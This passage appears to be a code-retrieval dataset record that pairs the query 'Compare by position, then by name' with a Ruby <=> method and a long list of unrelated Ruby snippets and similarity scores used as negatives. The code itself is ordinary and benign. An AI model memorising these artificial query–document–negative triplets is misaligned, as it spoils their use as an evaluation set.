\"#{temp.to_f.round(1)}\" : 'DNF'\n time_stamp = stage_effort.created_at.to_formatted_s(:db)\n cyclist_result << { \n 'race' => race_name,\n 'stage' => stage.stage_no, \n 'time' => time, \n 'strava_url' => strava_url, \n 'avg_watts' => avg_watts, \n 'watts_per_k' => watts_per_k, \n 'time_stamp' => time_stamp\n }\n end\n end\n end \n cyclist_result.sort!{|a, b| [ a['time_stamp'] ] <=> [ b['time_stamp'] ] } unless cyclist_result.nil?\n cyclist_result.reverse! unless cyclist_result.nil? \n else\n race.stages.each do |stage|\n stage_effort = cyclist.stage_efforts.find_by(stage_id: stage.id)\n race_name = \"#{race.name} - #{stage.name}\"\n if stage_effort\n time = stage_effort.elapsed_time ? Time.at(stage_effort.elapsed_time).utc.strftime('%H:%M:%S') : 'DNF'\n strava_url = stage_effort.strava_activity_url ? stage_effort.strava_activity_url : 'DNF'\n avg_watts = stage_effort.segment_avg_watts ? \"#{stage_effort.segment_avg_watts.to_f.round(1)}w\" : 'DNF'\n unless stage_effort.nil?\n temp = stage_effort.segment_avg_watts.to_f / cyclist.weight.to_f unless cyclist.weight.to_f == 0\n end \n watts_per_k = temp ? \"#{temp.to_f.round(1)}\" : 'DNF'\n time_stamp = stage_effort.created_at.to_formatted_s(:db)\n # puts \"#{race_name}-#{time}-#{strava_url}-#{avg_watts}-#{watts_per_k}-#{time_stamp}\"\n cyclist_result << { 'race'=> race_name, 'stage'=> stage.stage_no, 'time'=> time, 'strava_url'=> strava_url, 'avg_watts'=> avg_watts, 'watts_per_k' => watts_per_k, 'time_stamp' => time_stamp }\n end\n end\n end\n \n return cyclist_result\n end", "def get_game_type\n if :survivor.to_s == self.game_type\n return :survivor\n elsif :anti_survivor.to_s == self.game_type\n return :anti_survivor\n elsif :high_roller.to_s == self.game_type\n return :high_roller\n else\n return nil\n end\n end", "def show_games_by_category(category)\n system \"clear\"\n puts \"Here are all of our #{category} games\"\n category = Category.find_by(name:category)\n category.games.each do |game|\n puts game.name\n end\n puts puts\n prompt = TTY::Prompt.new\n prompt.select(\"What would you like to do?\") do |menu|\n menu.choice \"Back to Main Menu\", -> {welcome}\n menu.choice \"Exit\", -> {clear}\n end \n end", "def get_contestant_name(data, occupation)\n return_value = \"No contestant with that occupation!\"\n data.each do |season_in_hash, contestant_array|\n contestant_array.each do |contestant|\n if contestant[\"occupation\"] == occupation\n return_value = contestant[\"name\"]\n end\n end \n end\n return_value\nend", "def tweak_results!\n # if the race is between a major party and opposing minor party\n # (D v L or R v G), and the end results are 4/1, the absent major party gets\n # 1 seat subracted from the other major party\n\n # this is a standard R v D race\n return if includes_r_and_d?\n\n return unless @parties.min_by(&:seats_won).seats_won < 2\n\n # this race involves a major v minor party but the minor party took just 1 seat.\n # the major party would have run in a multi member district and been able to pick up 1 seat.\n major_party = @parties.max_by(&:seats_won)\n major_party.award(-1)\n\n # TODO: fix this demeter violation\n other_major = major_party.null_opposing_major\n other_major.award 1\n\n @parties << other_major\n end", "def special_category\n @special_category ||= if character and character.group\n group_special = character.group.special\n if group_special.blank?\n nil\n else\n Category.specials(group_special)\n end\n elsif links_character\n Category.special_role(:links)\n elsif rps_character\n Category.special_role(:rps)\n end\n end", "def invention_chance\n\tbase_chance = 0.0\n\tgid = self.item.groupID\n\ttid = self.item.typeID\n\tif gid == 27 || gid == 419 || tid == 22544\n\t\tbase_chance = 0.2\n\telsif gid == 26 || gid == 28 || tid == 22548\n\t\tbase_chance = 0.25\n\telsif gid == 25 || gid == 420 || gid == 513 || tid == 22546\n\t\tbase_chance = 0.3\n\telse\n\t\tbase_chance = 0.4\n\tend\n\n# TODO determine which datacores are needed and the skill level associated with that datacore\n# character = Character.find(char_id)\n# encryption_skill_level = character.skill_level(...)\n# datacore_1_skill_level = character.skill_level(...)\n# datacore_2_skill_level = character.skill_level(...)\n\tencryption_skill_level = 3\n\tdatacore_1_skill_level = 3\n\tdatacore_2_skill_level = 3\n\tmeta_level = 0\n\tdecryptor_modifier = 1.0\n\tbase_chance * (1.0 + (0.01 * encryption_skill_level)) * (1.0 + ((datacore_1_skill_level + datacore_2_skill_level) * (0.1 / (5.0 - meta_level)))) * decryptor_modifier\nend", "def find_hand_category(hand)\r\n \t\tif hand.size == 7\r\n \t\t\t# really not good!! have to put royal flush, straight flush\r\n \t\t\t# and straigh together! \r\n \t\t\tif num_suits(hand).max >= 5 && num_faces(hand)[0..4] == Array.new(5,1) \r\n \t\t\t\t@hand_category = \"Royal Flush\"\r\n \t\t\telsif num_faces(hand).max >= 4\r\n \t\t\t\t@hand_category = \"Four of a kind\"\r\n \t\t\telsif num_faces(hand).max == 3\r\n \t\t\t\t@hand_category = \"Three of a kind\"\r\n \t\t\telsif num_faces(hand).max == 2\r\n \t\t\t\t@hand_category = \"pair\"\r\n \t\t\telsif num_faces(hand).sort.last>=3 && num_faces(hand).sort[12]>=2\r\n \t\t\t\t@hand_category = \"Full House\"\r\n \t\t\telsif num_faces(hand).sort.last == 2 && num_faces(hand).sort[12]==2\r\n \t\t\t\t@hand_category = \"two pairs\"\r\n \t\t\tend \r\n \t\tend\r\n \t\treturn @hand_category\r\n \tend", "def get_users_bo_skills\n self.work_subtypes.find(:all ,:include =>[:work_type=>[:category]], :conditions =>{:work_types =>{:categories =>{:has_complexity=>'true'}}})\n end", "def compute_qualification(team, pilots, pilot_contests)\n if 3 <= pilots.size\n contests_properties = gather_contest_properties(pilot_contests)\n non_primary_participant_occurrence_count = 0\n three_or_more_pilot_occurrence_count = 0\n contests_properties.each do |contest|\n non_primary_participant_occurrence_count += 1 if contest[:has_non_primary]\n three_or_more_pilot_occurrence_count += 1 if 3 <= contest[:pilot_count]\n end\n team.qualified = 3 <= non_primary_participant_occurrence_count &&\n 3 <= three_or_more_pilot_occurrence_count\n else\n team.qualified = false\n end\nend", "def get_contestant_name(data, occupation)\n data.each do |season_hash, info|\n info.each do |detail|\n if detail[\"occupation\"] == occupation\n return detail[\"name\"]\n end\n end\n end\n# binding.pry\nend", "def find_hatchet\n HATCHET_ID.each do |id|\n weapon = character.equipment.get EquipmentConstants::WEAPON\n if weapon.id == id\n return HATCHET[id]\n end\n if character.inventory.contains id\n return HATCHET[id]\n end\n end\n return nil\nend", "def percent_correct_by_category(category_select)\n # Count the current cards in the turns that match the category selected. \n current_cards_category = @turns.count do |element|\n element.card.category == category_select\n end\n # Check for divide by zero. Than calculate the percentage otherwise.\n if @turns.size == 0 || current_cards_category == 0\n 0.0\n else\n # Create numerator and denominator values.\n numerator = number_correct_by_category(category_select).to_f \n denominator = current_cards_category.to_f\n \n # Calculate percentage, truncate value to one decimal place.\n ((numerator / denominator) * 100.0).truncate(1)\n end\n end", "def per_patient_traits\n @per_patient_traits ||=\n {\n ongoing_bp: {\n time_fn: -> { Faker::Time.between(from: ONGOING_SEED_DATA_AGE.ago, to: Time.now) },\n size_fn: -> { rand(1..3) },\n build_fn: ->(args) {\n build_blood_pressure_payload(\n FactoryBot.build(:blood_pressure,\n patient: args[:patient],\n user: user,\n recorded_at: args[:time],\n facility: user.facility)\n )\n },\n patient_sample_size: 0.40,\n request_key: :blood_pressures,\n api_version: \"v3\"\n },\n\n retroactive_bp: {\n time_fn: -> { Faker::Time.between(from: SEED_DATA_AGE.ago, to: 1.month.ago.beginning_of_month) },\n size_fn: -> { rand(1..2) },\n build_fn: ->(args) {\n build_blood_pressure_payload(\n FactoryBot.build(:blood_pressure,\n patient: args[:patient],\n user: user,\n device_created_at: args[:time],\n device_updated_at: args[:time],\n facility: user.facility)\n ).except(:recorded_at)\n },\n patient_sample_size: 0.20,\n request_key: :blood_pressures,\n api_version: \"v3\"\n },\n\n ongoing_blood_sugar: {\n time_fn: -> { Faker::Time.between(from: ONGOING_SEED_DATA_AGE.ago, to: Time.now) },\n size_fn: -> { rand(1..3) },\n build_fn: ->(args) {\n build_blood_sugar_payload(\n FactoryBot.build(:blood_sugar,\n :with_hba1c,\n patient: args[:patient],\n user: user,\n recorded_at: args[:time],\n facility: user.facility)\n )\n },\n patient_sample_size: 0.20,\n request_key: :blood_sugars,\n api_version: \"v4\"\n },\n\n retroactive_blood_sugar: {\n time_fn: -> { Faker::Time.between(from: SEED_DATA_AGE.ago, to: 1.month.ago.beginning_of_month) },\n size_fn: -> { rand(1..3) },\n build_fn: ->(args) {\n build_blood_sugar_payload(\n FactoryBot.build(:blood_sugar,\n :with_hba1c,\n patient: args[:patient],\n user: user,\n device_created_at: args[:time],\n device_updated_at: args[:time],\n facility: user.facility)\n )\n },\n patient_sample_size: 0.05,\n request_key: :blood_sugars,\n api_version: \"v4\"\n },\n\n scheduled_appointment: {\n size_fn: -> { 1 },\n build_fn: ->(args) {\n return if args[:patient].latest_scheduled_appointment.present?\n\n build_appointment_payload(\n FactoryBot.build(:appointment,\n patient: args[:patient],\n user: user,\n creation_facility: user.facility,\n facility: user.facility)\n )\n },\n patient_sample_size: 0.50,\n request_key: :appointments,\n api_version: \"v3\"\n },\n\n overdue_appointment: {\n size_fn: -> { rand(1..2) },\n build_fn: ->(args) {\n return if args[:patient].latest_scheduled_appointment.present?\n\n build_appointment_payload(\n FactoryBot.build(:appointment,\n :overdue,\n patient: args[:patient],\n user: user,\n creation_facility: user.facility,\n facility: user.facility)\n )\n },\n patient_sample_size: 0.50,\n request_key: :appointments,\n api_version: \"v3\"\n },\n\n completed_phone_call: {\n time_fn: -> { Faker::Time.between(from: SEED_DATA_AGE.ago, to: Date.today) },\n size_fn: -> { rand(1..1) },\n build_fn: ->(args) {\n FactoryBot.create(:call_log,\n result: \"completed\",\n caller_phone_number: user.phone_number,\n callee_phone_number: args[:patient].latest_phone_number,\n end_time: args[:time])\n },\n patient_sample_size: 0.20\n }\n }\n end", "def qualified_candidates (collection)\n match=[]\n \n collection.each do |x|\n if years_of_experience(x[:years_of_experience]) && github_points(x[:github_points]) && knowledge(x[:languages]) && applied_time(x[:date_applied]) && old_enough(x[:age])\n match << (x)\n end\n end\n\n match\nend", "def find_category(row, start, finish)\n idx = (start..finish).to_a.filter { |i| row[i] }.first\n row[idx]\nend", "def match_journey_start(category, ivds, quantity)\n case category.meta.wikiname\n when \"Great_Circle_flight_methodology\", \"Specific_jet_aircraft\", \"Specific_turboprop_aircraft\"\n {ivds.find{|x| x.path == 'IATACode1'} => quantity.split(':')[1]}\n when \"Train_Route\"\n {ivds.find{|x| x.path == 'station1'} => quantity.split(':')[1]}\n else\n {}\n end\n end", "def calc_skill_names(match_id_groups_array, prev_type_exists, primary_pct, secondary_pct)\n is_primary_found = false\n primary_pct = 5 if prev_type_exists\n \n match_id_groups_array.each do |match_id_group|\n \n match_id_group.each do |match_id|\n if @matched_cells.has_key?(match_id)\n if !is_primary_found\n @pct += primary_pct\n is_primary_found = true\n else\n @pct += secondary_pct\n end\n \n break\n end\n end\n \n end\n end", "def create_awe_test_for(category)\n awe_priority_test = nil\n \n #puts 'CREATE TEST'\n\n if category[:target_priorities][:test_type] == :no_test # NO TEST\n \n #puts 'CREATE NO TEST'\n \n awe_priority_test = Battle::NoTest.new\n category[:target_priorities][:results][0].each do | target |\n awe_priority_test.pushCategoryToPriority(target)\n end\n \n elsif category[:target_priorities][:test_type] == :line_size_test # LINE SIZE TEST\n \n #puts 'CREATE LINE SIZE TEST'\n \n awe_priority_test = Battle::LineSizeTest.new(category[:target_priorities][:test_category])\n category[:target_priorities][:results][0].each do | target |\n awe_priority_test.pushCategoryToPriorityOnSuccess(target)\n end \n category[:target_priorities][:results][1].each do | target |\n awe_priority_test.pushCategoryToPriorityOnFail(target)\n end \n end\n \n awe_priority_test\n end", "def chek_cooperation_full(battler)\n if battler.skill_use? and Combination_Skill['Cooperation'] != nil and \n Combination_Skill['Cooperation'].include?(battler.current_action.skill_id)\n for skill in Combination_Skill['Cooperation']\n battlers = battler.actor? ? $game_temp.cp_actors[skill[0]] : \n $game_temp.cp_enemies[skill[0]]\n if skill[0] == battler.cp_skill and skill[1].size == battlers.size \n return true \n end\n end\n end\n return false\n end", "def evaluate\n results = {}\n traits.each do |trait|\n results[trait] = trait.new(@strokes ).trait.to_a.sort\n end\n results\n end", "def get_contestant_name(data, occupation)\n data.each do |season_key, contestants_array|\n contestants_array.each do |contestant_info| \n if contestant_info[\"occupation\"] == occupation\n return contestant_info[\"name\"]\n end \n end \n end \nend", "def get_entry_best_timing(badge, meeting, event_type, pool_type, convert_pool_type = false)\n best_mir = nil\n time_converted = nil\n\n # Perform check only if not in manual mode and swimmer already swam event type\n if badge && badge.get_entry_time_type_code != 'M' && @swimmer.meeting_individual_results.for_event_type(event_type)\n best_mir = retrieve_entry_time_by_type(badge.get_entry_time_type_code, meeting, event_type, pool_type)\n\n # If not found and convert_pool_type set check for other pool_type\n if best_mir.nil? && convert_pool_type\n pool_type = pool_type.code == '25' ? PoolType.find_by(code: '50') : PoolType.find_by(code: '25')\n best_mir = retrieve_entry_time_by_type(badge.get_entry_time_type_code, meeting, event_type, pool_type)\n\n # Convert timing\n if best_mir\n timing_converter = TimingCourseConverter.new(meeting.season)\n if timing_converter.is_conversion_possible?(best_mir.gender_type, best_mir.event_type)\n time_converted = pool_type.code == '25' ?\n timing_converter.convert_time_to_long(best_mir.get_timing_instance, best_mir.gender_type, best_mir.event_type) :\n timing_converter.convert_time_to_short(best_mir.get_timing_instance, best_mir.gender_type, best_mir.event_type)\n end\n end\n end\n end\n\n time_converted ? time_converted :\n best_mir ? best_mir.get_timing_instance : nil\n end", "def priority\n Rational(@successes + 1, tries_adj + 2) * ($use_cats && (self == $cur_element || category == $cur_category) ? 2 : 1)\n rescue ZeroDivisionError\n Float::INFINITY # this can happen if the element is yet to be skipped twice\n end", "def best_item(bib_id)\n return [] unless holdings_exist_for? bib_id\n\n ITEM_TIERS.each do |criteria|\n match = holdings_data(bib_id).copies.find(&criteria)\n return match if match\n end\n end", "def max_score(creative_quality)\n max_score = 0\n self.question_responses\n .select{|el| max_score += el.question.question_choices.max{|el| el.score}.score if el.question_choice.creative_quality.name === creative_quality}\n max_score\n end", "def get_comp_selection\n @comp_current_throw = [\"rock\", \"paper\", \"scissors\"].sample\n end", "def mechanics\n Mechanic.all.select{|mechanic|mechanic.specialty == self.classification}\n end" ]
[ "0.5972105", "0.5694107", "0.55712306", "0.5510315", "0.5304478", "0.5271997", "0.5234641", "0.5234431", "0.52040195", "0.51542526", "0.51541793", "0.5127752", "0.509658", "0.5092023", "0.5078666", "0.50630593", "0.50441486", "0.50382066", "0.50222635", "0.50100756", "0.49888888", "0.49848032", "0.49787775", "0.49542725", "0.4952664", "0.49454138", "0.49451098", "0.49250484", "0.4918887", "0.49109203", "0.48965877", "0.48912537", "0.48898438", "0.4875627", "0.48507243", "0.48466203", "0.48395634", "0.480506", "0.4800317", "0.47985262", "0.47927892", "0.4780493", "0.4770945", "0.47412246", "0.47364506", "0.47363913", "0.47359833", "0.47296053", "0.4712034", "0.47118977", "0.47094375", "0.4706071", "0.46849385", "0.46837366", "0.4679802", "0.46723935", "0.46642408", "0.46370208", "0.46310207", "0.46299237", "0.46259746", "0.46258554", "0.4617527", "0.4607471", "0.4604421", "0.45859095", "0.4585453", "0.45837831", "0.45723495", "0.45600787", "0.4557655", "0.4556819", "0.45481375", "0.45451516", "0.45357805", "0.45284182", "0.4525367", "0.452157", "0.45203274", "0.45176825", "0.451701", "0.4516274", "0.45129704", "0.4511799", "0.45102605", "0.45060304", "0.45010945", "0.45003998", "0.44989163", "0.44962704", "0.44879323", "0.44878745", "0.4486924", "0.4486407", "0.44850284", "0.4484823", "0.4484261", "0.44829655", "0.44819134", "0.4479055" ]
0.6049323
0
Compare by position, then by name
def <=>(other) return -1 if other.nil? return super unless other.is_a?(Category) return 0 if self[:id] && self[:id] == other[:id] diff = (position <=> other.position) if diff == 0 name <=> other.name else diff end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def <=>(other)\n return 0 if self[:id] && self[:id] == other[:id]\n diff = (position <=> other.position)\n if diff == 0\n name <=> other.name\n else\n diff\n end\n end", "def get_position (item)\r\n position = 0\r\n self.items.each_with_index {|val, index|\r\n if (val.get_name == item.get_name)\r\n position = index\r\n end\r\n }\r\n return position\r\n end", "def par_compare(a, b)\n if a.par_price.price > b.par_price.price\n -1\n elsif a.par_price.price < b.par_price.price\n 1\n else\n @formed.find_index(a) < @formed.find_index(b) ? -1 : 1\n end\n end", "def spaceship_alphabetisch(other)\r\n return nil unless self.class == other.class\r\n if (@name <=> other.name) == 0\r\n if (@strasse <=> other.strasse) == 0\r\n if (@plz <=> other.plz) == 0\r\n return @ort <=> other.ort\r\n end\r\n return @plz <=> other.plz\r\n end\r\n return @strasse <=> other.strasse\r\n end\r\n return @name <=> other.name\r\n end", "def compare(x, y); end", "def test_that_it_is_sortable\r\n aop = []\r\n aop << ConnectNGame::Player.new(\"Ted\", \"Cool\", :carbon)\r\n aop << ConnectNGame::Player.new(\"apple\", \"Cooler\", :silicon)\r\n aop << ConnectNGame::Player.new(\"Ed\", \"Coolest\", :carbon)\r\n\r\n aop.sort! {|a,b| a.name.casecmp(b.name) }\r\n\r\n assert_equal(\"apple\", aop[0].name)\r\n assert(aop[0].silicon?)\r\n refute(aop[0].carbon?)\r\n\r\n assert_equal(\"Ed\", aop[1].name)\r\n refute(aop[1].silicon?)\r\n assert(aop[1].carbon?)\r\n\r\n assert_equal(\"Ted\", aop[2].name)\r\n refute(aop[2].silicon?)\r\n assert(aop[2].carbon?)\r\n end", "def <=> other\n name <=> other.name\n end", "def fcompares(fname1, sname, fname2)\n cmp = true\n if (fexists fname1, sname) and (fexists fname2, sname)\n x = eval \"$#{fname1}['#{sname},facets']\"\n y = eval \"$#{fname2}['#{sname},facets']\"\n if x == y\n (eval \"$#{fname1}\").each do |i|\n if sname.eql? i.scan(/^\\w+/)\n x = eval \"$#{fname1}[i]\"\n y = eval \"$#{fname2}[i]\"\n if x != y\n cmp = false\n end\n end\n end\n return cmp\n else \n return false\n end\n else\n reuturn false\n end\nend", "def <=> other\n return unless self.class === other\n\n name <=> other.name\n end", "def compare(move1, move2)\n \nend", "def compare(move1, move2)\n \nend", "def compare(move1, move2)\r\n\r\nend", "def cmp (left_element, right_element)\n #puts left_element\n #puts right_element\n if @order == \"ASC\"\n if left_element[@order_column] < right_element[@order_column]\n return true\n else\n return false\n end\n else\n if left_element[@order_column] > right_element[@order_column]\n return true\n else\n return false \n end \n end\n end", "def compare(move1, move2)\n\nend", "def compare(move1, move2)\n\nend", "def contain?(position); end", "def <=>(other)\n self.name <=> other.name #&& self.color <=> other.color\n end", "def my_sort_by_name(a,b)\n a = Integer(a.scan(/\\d+/)[0])\n b = Integer(b.scan(/\\d+/)[0])\n return 1 if a>b\n return -1 if a<b\n return 0 if a==b\n end", "def cmp(thenode, text)\n if renamed? thenode\n t2 = read thenode\n return t2 != text\n end\n super(thenode, text)\n end", "def <=> other\n return unless self.class === other\n\n [parent_name, name] <=> [other.parent_name, other.name]\n end", "def <=>(other)\n self.name <=> other.name\n end", "def <=>(other)\n self.name <=> other.name\n end", "def <=>(other)\n self.name <=> other.name\n end", "def search_by_position(position)\n position = position.capitalize\n result_position = []\n @name_list.each_key do |element|\n if element.include? position\n result_position.push(element)\n end\n end\n if result_position.empty?\n puts \"#{position} position haven\\'t in list\"\n else\n puts \"\\nList member of #{position} keyword:\"\n result_position.each do |element|\n index = @name_list.keys.index(element)\n show_profile(index, @name_list, @dob_list)\n end\n puts \"\\n\"\n end\n end", "def sort_by_size(x,y)\n sizes = [\"Small\",\"Medium\",\"Large\",\"X-Large\",\"2X-Large\",\"3X-Large\"]\n cmp = sizes.index(x.tshirt) <=> sizes.index(y.tshirt)\n if cmp == 0\n x.name <=> y.name\n else\n cmp\n end\n end", "def ==(other)\n return self.name == other.name\n end", "def compare(node, node2)\n\n hxlist, hxlist2 = hashedxml(node), hashedxml(node2) \n \n # elements which may have been modified are also \n # added to the added_indexes list \n added_or_changed_indexes = added(hxlist, hxlist2)\n added_indexes, updated_indexes = @fuzzy_match ? \\\n fuzzy_match(added_or_changed_indexes, node, node2) : \\\n [added_or_changed_indexes, []]\n added_indexes.each do |i|\n \n attributes = node2.elements[i+1].attributes\n attributes[:created] ||= Time.now.to_s\n \n node2.elements[i+1].traverse do |e|\n\n e.attributes[:created] ||= Time.now.to_s\n\n end\n end\n\n deleted_indexes = deleted(hxlist, hxlist2)\n \n unchanged_indexes = unchanged(hxlist, hxlist2)\n\n unchanged_indexes.each do |i, i2| \n\n compare(node.elements[i+1], node2.elements[i2+1]) if node\\\n .elements[i+1].has_elements?\n attributes2 = node2.elements[i2+1].attributes\n \n if attributes2[:created].nil? then\n attributes = node.elements[i+1].attributes\n attributes2[:created] = attributes[:created] if attributes[:created]\n end\n end\n\n end", "def ==(v)\n self.name == v.name\n end", "def <=>(other)\n sname = name\n oname = other.name\n\n sindex = Names.index(sname)\n oindex = Names.index(oname)\n\n cmp = sindex <=> oindex\n return cmp unless cmp == 0\n\n case sname\n when Names[-1] # Royal Flush\n return 0\n when Names[-2], Names[-5], Names[-6], Names[-10] # Straight Flush,\n # Flush, Straight,\n # High Card\n return high_card <=> other.high_card\n when Names[-3] # Four of a Kind\n return Card.index(@four) <=> Card.index(other.four)\n when Names[-4] # Full House\n cmp = Card.index(@three) <=> Card.index(other.three)\n return cmp unless cmp == 0\n\n return Card.index(@two[0]) <=> Card.index(other.two[0])\n when Names[-7] # Three of a Kind\n cmp = Card.index(@three) <=> Card.index(other.three)\n return cmp unless cmp == 0\n\n self.other.each_index do |i|\n cmp = Card.index(self.other[i]) <=> Card.index(other.other[i])\n return cmp unless cmp == 0\n end\n return 0\n when Names[-8] # Two Pair\n @two.each_index do |i|\n cmp = Card.index(@two[i]) <=> Card.index(other.two[i])\n return cmp unless cmp == 0\n end\n\n return Card.index(self.other[0]) <=> Card.index(other.other[0])\n when Names[-9] # Pair\n cmp = Card.index(@two[0]) <=> Card.index(other.two[0])\n return cmp unless cmp == 0\n\n self.other.each_index do |i|\n cmp = Card.index(self.other[i]) <=> Card.index(other.other[i])\n return cmp unless cmp == 0\n end\n return 0\n when Names[-10] # High Card\n self.other.each_index do |i|\n cmp = Card.index(self.other[0]) <=> Card.index(other.other[0])\n return cmp unless cmp == 0\n end\n return 0\n else # Some other hand?\n raise HandUnknownError, \"Don't know this hand: #{sname}\"\n end\n end", "def <=>(other_sub)\n eql?(other_sub) ? 0 : name <=> other_sub.name\n end", "def <=>(other)\n # if SUBJECT_POINTS[self.name] > SUBJECT_POINTS[other.name]\n # return 1\n # elsif SUBJECT_POINTS[self.name] < SUBJECT_POINTS[other.name]\n # return -1\n # else\n # return 0\n # end\n # shorter way to do this :O WOW! just tell which\n # things(quantities) to compare, and rubys comparable does it for you\n # so as long as the quantities you want to compare are builtin ones,\n # just call <=> straight instead of doing the if..elsif..else\n SUBJECT_POINTS[self.name] <=> SUBJECT_POINTS[other.name]\n end", "def <=> (other)\n name <=> other.name\n end", "def compare_by_revelance(query, product1, product2)\n return 0 if query.blank?\n \n words = query.split(/[ \\t\\n\\r]/)\n \n name1 = product1.name.split(/[ \\t\\n\\r]/)\n hits1 = words.select {|word| name1.include?(word)}\n \n name2 = product2.name.split(/[ \\t\\n\\r]/)\n hits2 = words.select {|word| name2.include?(word)}\n \n hits1.size <=> hits2.size\n end", "def <=>(object)\n return -1 if object.language.nil?\n # Put Chinese when sorting\n return -1 if object.language.code == 'chi'\n return 1 if object.language.code == 'eng'\n return self.name <=> object.name\n end", "def < (other)\n return false if other.nil?\n return false if self.equal? other\n return false if self.size > other.size\n \n return true if ( (self.name.eql? other.name) && \n (self.size < other.size) )\n\n return true if ( (self.size == other.size) &&\n (self.cpu < other.cpu) &&\n (self.mem < other.mem) &&\n (self.category == other.category))\n\n return false\n end", "def <=>(other)\n other.name <=> name\n end", "def > (other)\n return false if other.nil?\n return false if self.equal? other\n return false if self.size < other.size\n \n return true if ( (self.name.eql? other.name) &&\n (self.size > other.size) )\n\n return true if ( (self.size == other.size) &&\n (self.cpu > other.cpu) &&\n (self.mem > other.mem) &&\n (self.category == other.category))\n\n return false\n end", "def normal?\n if from_name < to_name\n return true\n elsif from_name > to_name\n return false\n else\n overlap_s = overlap.to_s\n reverse_overlap_s = reverse_overlap.to_s\n if overlap_s < reverse_overlap_s\n return true\n elsif overlap_s > reverse_overlap_s\n return false\n else\n return [from_orient, to_orient].include?(:+)\n end\n end\n end", "def <=>(other)\n [@singleton ? 0 : 1, @name] <=> [other.singleton ? 0 : 1, other.name]\n end", "def <=>(other)\n [@singleton ? 0 : 1, @name] <=> [other.singleton ? 0 : 1, other.name]\n end", "def <=>(other)\n self.name <=> other.name\n end", "def <=>(other)\n self.name <=> other.name\n end", "def <=>(other)\n self.name <=> other.name\n end", "def <=>(other)\n self.name <=> other.name\n end", "def compare_by_identity\n raise NotImplementedError\n end", "def has_item(name)\n @items.each_with_index do |item, index|\n if (item.name.casecmp(name) == 0)\n return index\n end\n end\n return -1\n end", "def cmp(reference, checked)\n reference.each do |k,v|\n return false if checked[k] != v\n end\n \n return true\n end", "def ==(other)\n self.name == other.name\n end", "def <=>(other)\n product.name <=> other.product.name\n end", "def compare_to(other, skip=[])\n common = []\n unique = []\n #p [\"skip:\", skip.size]\n #p [\"first few:\", skip[0..10]]\n \n skip = Set.new(skip.map{|p| p.path})\n \n name_to_path.each do |name, path|\n size = path_to_size[path]\n\n opath_samesize = other.size_to_path[size]\n opath_samename = other.name_to_path[name] \n\n next if skip.include? opath_samename or skip.include? opath_samesize\n\n r = Result.new(root, path)\n\n if opath_samesize and opath_samename\n # same size, same name\n common << r\n\n elsif opath_samename\n # same name, different content\n osize = other.path_to_size[opath_samename]\n diff = (size - osize).abs\n r.message = \"#{diff} bytes #{size > osize ? \"<light_green>larger</light_green>\" : \"<light_red>smaller</light_red>\"}\"\n unique << r\n\n elsif opath_samesize\n # same size, different name\n if OPTIONS.verbose\n puts \"<yellow>* Size matches, comparing content:\\n <light_cyan>#{path}\\n <light_white>#{opath_samesize}\".colorize\n end\n\n if content_probably_matches?(path, opath_samesize)\n # same content (probably)\n oname = File.split(opath_samesize).last\n r.message = \"other name: #{oname}\"\n common << r\n else\n # different content\n unique << r\n end\n\n puts if OPTIONS.verbose\n \n else\n\n unique << r\n\n end\n end\n \n [common, unique]\n end", "def nearest_driver_name(pos)\n a = @driver_pos.find_index(pos)\n @driver_name[a]\n end", "def compare(a, b)\n # ids, classes, tags\n a_ = [a.scan(/\\#\\w+/), a.scan(/\\.\\w+/), a.scan(/(?<=^|\\s)\\b(\\w+)\\b/)]\n b_ = [b.scan(/\\#\\w+/), b.scan(/\\.\\w+/), b.scan(/(?<=^|\\s)\\b(\\w+)\\b/)]\n return a if a_[0].count > b_[0].count\n return a if a_[0].count == b_[0].count && a_[1].count > b_[1].count\n return a if a_[0].count == b_[0].count && a_[1].count == b_[1].count && a_[2].count > b_[2].count\n return a if a_[0].count == b_[0].count && a_[1].count == b_[1].count && a_[2].count == b_[2].count && a_.count > b_.count\n b\nend", "def grouped_compare(a, b)\n\tloop {\n\t\ta_chunk, a = extract_alpha_or_number_group(a)\n\t\tb_chunk, b = extract_alpha_or_number_group(b)\n\n\t\tav = a_chunk.to_i\n\t\tbv = b_chunk.to_i\n\n\t\tif av.to_s != a_chunk or bv.to_s != b_chunk\n\t\t\tret = a_chunk <=> b_chunk\n\t\telse\n\t\t\tret = av <=> bv\n\t\tend\n\n\t\treturn -1 if a_chunk == ''\n\t\treturn ret if ret != 0\n\t}\nend", "def binary_search(name)\n # Save the index of the leftmost item in the array in a variable named lower and the index of\n # the righmost in the variable upper\n lower = 0\n upper = entries.length - 1\n\n # We loop while our lower index is less than or equal to our upper index\n while lower <= upper\n # We find the middle index then retrieve the name and store it in the variable mid_name\n mid = (lower + upper) / 2\n mid_name = entries[mid].name\n\n # Compare the name we are searching for with mid_name and iterate until we find the correct name\n if name == mid_name\n return entries[mid]\n elsif name < mid_name\n upper = mid -1\n elsif name > mid_name\n lower = mid + 1\n end\n end\n \n # If no match is found we return nil\n return nil\n end", "def <=>(other)\n self.name <=> other.name\n end", "def check_for_equal_item(name, price, description, item_not_to_compare = nil)\r\n index = items.index {|x| x.name.eql?(name) and x.price.eql?(price) and x.description.eql?(description) and x != item_not_to_compare}\r\n return items[index] unless index == nil\r\n end", "def <=>(other)\n patient.select_name.casecmp(other.patient.select_name)\n end", "def <=>(other)\n # Respect eql?\n return 0 if id.present? && (id == other&.id)\n\n # Figure out the major position by place first, then break it down further if needed\n major_difference = (major_place <=> other.major_place)\n if major_difference != 0\n return major_difference\n end\n\n if rejected? && other.rejected?\n if last_name == other.last_name\n return (first_name || \"\") <=> (other.first_name || \"\")\n else\n return (last_name || \"\") <=> (other.last_name || \"\")\n end\n end\n\n if numeric_place?\n return numeric_place <=> other.numeric_place\n elsif id.present?\n return id <=> other.id\n end\n\n 0\n end", "def eql?(other)\n return true if super\n name == other.name\n end", "def <=>(other)\n name.casecmp other.name\n end", "def assert_positions_match(position1,position2)\n\t\tassert_models_match(position1,position2)\n\tend", "def eql?(item)\n\t\[email protected]?(item.name.downcase)\n\tend", "def compare(a, b)\n #YOUR WORK HERE\n end", "def <=>(other)\n if selected? == other.selected?\n @name <=> other.name\n else\n selected? ? -1 : 1\n end\n end", "def cmp(item)\n raise NotImplementedError.new(\"cmp() must be implemented by subclasses of AbstractVersionedFile.\")\n end", "def <=>(other)\n # BEGIN and END are special. and Virginity does not support nested vcards\n return -1 if name =~ BEGIN_REGEX or other.name =~ END_REGEX\n return 1 if name =~ END_REGEX or other.name =~ BEGIN_REGEX\n unless (diff = (name <=> other.name)) == 0\n diff\n else\n unless (diff = (pref? ? 0 : 